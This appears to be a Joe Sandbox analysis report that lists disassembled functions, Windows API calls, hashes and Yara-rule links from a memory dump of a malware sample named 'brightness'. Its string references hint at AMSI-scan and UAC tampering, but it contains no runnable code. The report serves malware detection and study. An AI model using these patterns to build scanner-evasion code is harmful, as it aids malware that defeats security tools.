                                                                                                                                                          • Opcode ID: 19c35f62e9d9afcb254fa619e04b42bc701b0bf70caf470efdc34d476d7202ce
                                                                                                                                                          • Instruction ID: 91af579f86bed0d0cf67ee7b6209f32fe1bd9b59d0b978f95d4fb15c960c7dec
                                                                                                                                                          • Opcode Fuzzy Hash: 19c35f62e9d9afcb254fa619e04b42bc701b0bf70caf470efdc34d476d7202ce
                                                                                                                                                          • Instruction Fuzzy Hash: FEF0AF2D708118CB8BA0BF3D888C66E279A5F407447081436A74ADB171DB64DC45C763
                                                                                                                                                          Function 028F4D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SysFreeString.OLEAUT32(0290F798), ref: 028F4C6E
                                                                                                                                                          • SysAllocStringLen.OLEAUT32(?,?), ref: 028F4D5B
                                                                                                                                                          • SysFreeString.OLEAUT32(00000000), ref: 028F4D6D
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: String$Free$Alloc
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 986138563-0
                                                                                                                                                          • Opcode ID: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
                                                                                                                                                          • Instruction ID: 15d78c39510a66dea185769363c708af75a73d048fc189bbd7025b9ff6c4c3b1
                                                                                                                                                          • Opcode Fuzzy Hash: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
                                                                                                                                                          • Instruction Fuzzy Hash: 07E02BBC2012059EFFC4AF21CC44B37332AAFC1741B24809AEB08CE014E739D440AD38
                                                                                                                                                          Function 029070DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SysFreeString.OLEAUT32(?), ref: 029073DA
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FreeString
                                                                                                                                                          • String ID: H
                                                                                                                                                          • API String ID: 3341692771-2852464175
                                                                                                                                                          • Opcode ID: 835a66c32d94b433c76acf8287b933cb0898f6967304c7c1ccc70149d2160ed1
                                                                                                                                                          • Instruction ID: e23b4eede57afa36ad5409215eb90b81f2314a8576b5317dcb137196c76b6182
                                                                                                                                                          • Opcode Fuzzy Hash: 835a66c32d94b433c76acf8287b933cb0898f6967304c7c1ccc70149d2160ed1
                                                                                                                                                          • Instruction Fuzzy Hash: 0EB1B178A016089FDB15CF99E4C0A9DFBF6FF89324F248569E945AB3A0D730A845CF50
                                                                                                                                                          Function 028FE760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VariantCopy.OLEAUT32(00000000,00000000), ref: 028FE781
                                                                                                                                                            • Part of subcall function 028FE364: VariantClear.OLEAUT32(?), ref: 028FE373
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Variant$ClearCopy
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 274517740-0
                                                                                                                                                          • Opcode ID: 68de25cf484d6cdbc0426d8e012b8c59d6c443e929d2ee6498c4ba574c941ab3
                                                                                                                                                          • Instruction ID: 046f8b9275456d69125cfe602b8179a6e973a4373c7011d4330ca3840aa29bbd
                                                                                                                                                          • Opcode Fuzzy Hash: 68de25cf484d6cdbc0426d8e012b8c59d6c443e929d2ee6498c4ba574c941ab3
                                                                                                                                                          • Instruction Fuzzy Hash: D111702C7102148BC7B0AF2DC8C4A6A67DAAF847507108426E74ACB675DB30DC45CA62
                                                                                                                                                          Function 028FE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: InitVariant
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1927566239-0
                                                                                                                                                          • Opcode ID: a5daf04159e88b620f99bae42a974007e24087f0c01ec236158be67f98a0313b
                                                                                                                                                          • Instruction ID: 3945cf668cb64561d3f34217f074528368aa306314d3738a55e5e1b073e53e18
                                                                                                                                                          • Opcode Fuzzy Hash: a5daf04159e88b620f99bae42a974007e24087f0c01ec236158be67f98a0313b
                                                                                                                                                          • Instruction Fuzzy Hash: 2431447DA005089FDB90DFACD884AAE77E9EB1C314F448569FB09D3260D734D950CBA6
                                                                                                                                                          Function 02906D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • CLSIDFromProgID.OLE32(00000000,?,00000000,02906DB9,?,?,?,00000000), ref: 02906D99
                                                                                                                                                            • Part of subcall function 028F4C60: SysFreeString.OLEAUT32(0290F798), ref: 028F4C6E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FreeFromProgString
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4225568880-0
                                                                                                                                                          • Opcode ID: 8143f5a779a5fa5c08896ee544cff83bdf67b522d9ceeef0035c5efb1caedf99
                                                                                                                                                          • Instruction ID: f10e25d9ae2363a2a167edf03fe7f84f8c367d0aeca2d4e92bf34b31a1804805
                                                                                                                                                          • Opcode Fuzzy Hash: 8143f5a779a5fa5c08896ee544cff83bdf67b522d9ceeef0035c5efb1caedf99
                                                                                                                                                          • Instruction Fuzzy Hash: 0DE0A03E20020CAFE311FA6A9C9194E77ADDF8A710B5104B2A600D2580DA316E108861
                                                                                                                                                          Function 028F5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(028F0000,?,00000105), ref: 028F5886
                                                                                                                                                            • Part of subcall function 028F5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,028F0000,0291E790), ref: 028F5AE8
                                                                                                                                                            • Part of subcall function 028F5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,028F0000,0291E790), ref: 028F5B06
                                                                                                                                                            • Part of subcall function 028F5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,028F0000,0291E790), ref: 028F5B24
                                                                                                                                                            • Part of subcall function 028F5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 028F5B42
                                                                                                                                                            • Part of subcall function 028F5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,028F5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 028F5B8B
                                                                                                                                                            • Part of subcall function 028F5ACC: RegQueryValueExA.ADVAPI32(?,028F5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,028F5BD1,?,80000001), ref: 028F5BA9
                                                                                                                                                            • Part of subcall function 028F5ACC: RegCloseKey.ADVAPI32(?,028F5BD8,00000000,?,?,00000000,028F5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028F5BCB
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2796650324-0
                                                                                                                                                          • Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
                                                                                                                                                          • Instruction ID: c294ad992d8bd94d6c3c5f31d913b98d7560a9cb41abc76013909b75c2e70d18
                                                                                                                                                          • Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
                                                                                                                                                          • Instruction Fuzzy Hash: 61E06D79A003149FCB50DE9CC8C4B4733D8AB08750F440961EE58CF346D7B4D9608BD1
                                                                                                                                                          Function 028F7DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 028F7DF4
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FileWrite
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3934441357-0
                                                                                                                                                          • Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                          • Instruction ID: 496cca2ee4bb1971cd850fe128ec21ebee74d40ac1739a280b71ba672bea8a90
                                                                                                                                                          • Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                          • Instruction Fuzzy Hash: 9ED05BBA3081507AE220955E5D44EA75BDCCBC6770F10473EF668C7180E7208C05C671
                                                                                                                                                          Function 028F7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetFileAttributesA.KERNEL32(00000000,?,02913891,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,Initialize), ref: 028F7E8B
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AttributesFile
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3188754299-0
                                                                                                                                                          • Opcode ID: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
                                                                                                                                                          • Instruction ID: 410dbea8ee59e28dafc556db8139491c86078c2224acd5eb61adb03fe4f06c4e
                                                                                                                                                          • Opcode Fuzzy Hash: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
                                                                                                                                                          • Instruction Fuzzy Hash: F4C08CFE3112010A2EE0A5FC1CC421A43990984135B601F23EB3CCA2D2F31A98222822
                                                                                                                                                          Function 028F7E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetFileAttributesA.KERNEL32(00000000,?,02910714,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,UacInitialize), ref: 028F7E67
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AttributesFile
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3188754299-0
                                                                                                                                                          • Opcode ID: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
                                                                                                                                                          • Instruction ID: e49dfbfca35ef0dbe1e4708ede6954e8aac7214e247de2f61e9191a5b3aaba49
                                                                                                                                                          • Opcode Fuzzy Hash: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
                                                                                                                                                          • Instruction Fuzzy Hash: 70C08CAC3012010A6AD065BC2CC424A538A0D042397640B23AB3CC62E2F32698A32812
                                                                                                                                                          Function 028F4C9C Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SysFreeString.OLEAUT32(0290F798), ref: 028F4C6E
                                                                                                                                                          • SysReAllocStringLen.OLEAUT32(0291C858,0290F798,000000B4), ref: 028F4CB6
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: String$AllocFree
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 344208780-0
                                                                                                                                                          • Opcode ID: 60f216499253b9dff2cac0f6af8fdc80ea07a63062dd34f7668bbc85ccb701f1
                                                                                                                                                          • Instruction ID: 8970a877a86e7547cfdecee89ef00765b2f76f85d2dad22c3a03015662b63dda
                                                                                                                                                          • Opcode Fuzzy Hash: 60f216499253b9dff2cac0f6af8fdc80ea07a63062dd34f7668bbc85ccb701f1
                                                                                                                                                          • Instruction Fuzzy Hash: 3AD0127C100149997AEC9A2B9544D37635A9AD020974EE25B9B0EDA254E7359400CA71
                                                                                                                                                          Function 028F4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FreeString
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3341692771-0
                                                                                                                                                          • Opcode ID: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
                                                                                                                                                          • Instruction ID: af0a6db11caf88e741c81a036cf46f826f7317f1e83f6ee8e9373668da424d1e
                                                                                                                                                          • Opcode Fuzzy Hash: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
                                                                                                                                                          • Instruction Fuzzy Hash: A2C012AE60023097FBA19699ACC475363CC9B05295B1500A2D708D7250E374D80046A1
                                                                                                                                                          Function 0291C534 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • timeSetEvent.WINMM(00002710,00000000,0291C528,00000000,00000001), ref: 0291C544
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Eventtime
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2982266575-0
                                                                                                                                                          • Opcode ID: be7332f96bf935765a868bfb6690e53f21759336605549abc8215cf564dffa66
                                                                                                                                                          • Instruction ID: bfd07f222a86609d6f9e0c70a2b2de7a643fcab02ed19891de306089d7284fbc
                                                                                                                                                          • Opcode Fuzzy Hash: be7332f96bf935765a868bfb6690e53f21759336605549abc8215cf564dffa66
                                                                                                                                                          • Instruction Fuzzy Hash: 45C092F6BD53047EFE10A6A95CC2F2716DDDB09B01F240413B700EE2D1D6F29A104A22
                                                                                                                                                          Function 028F4C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SysAllocStringLen.OLEAUT32(00000000,?), ref: 028F4C3F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AllocString
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2525500382-0
                                                                                                                                                          • Opcode ID: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
                                                                                                                                                          • Instruction ID: 1cb7021cf275ed473819465a34e6371c5b4c4e290c818da43a9ecc325871e971
                                                                                                                                                          • Opcode Fuzzy Hash: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
                                                                                                                                                          • Instruction Fuzzy Hash: 4EB0123D20820955FAD833A20F00733034C0B4028AF8520539F1CC80E4FB21C0119836
                                                                                                                                                          Function 028F4C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SysFreeString.OLEAUT32(00000000), ref: 028F4C57
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FreeString
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3341692771-0
                                                                                                                                                          • Opcode ID: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
                                                                                                                                                          • Instruction ID: 4d9fc28f8c48161be9183dda707974159fc502c1d44b26a97ecc3e4ec0c90a0d
                                                                                                                                                          • Opcode Fuzzy Hash: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
                                                                                                                                                          • Instruction Fuzzy Hash: DEA022AC0003038AAF8B33AC002002F23333FE03003C8C0E88308CA000EF3B8000AC30
                                                                                                                                                          Function 028F15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,028F1A03,?,028F1FC1), ref: 028F15E2
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
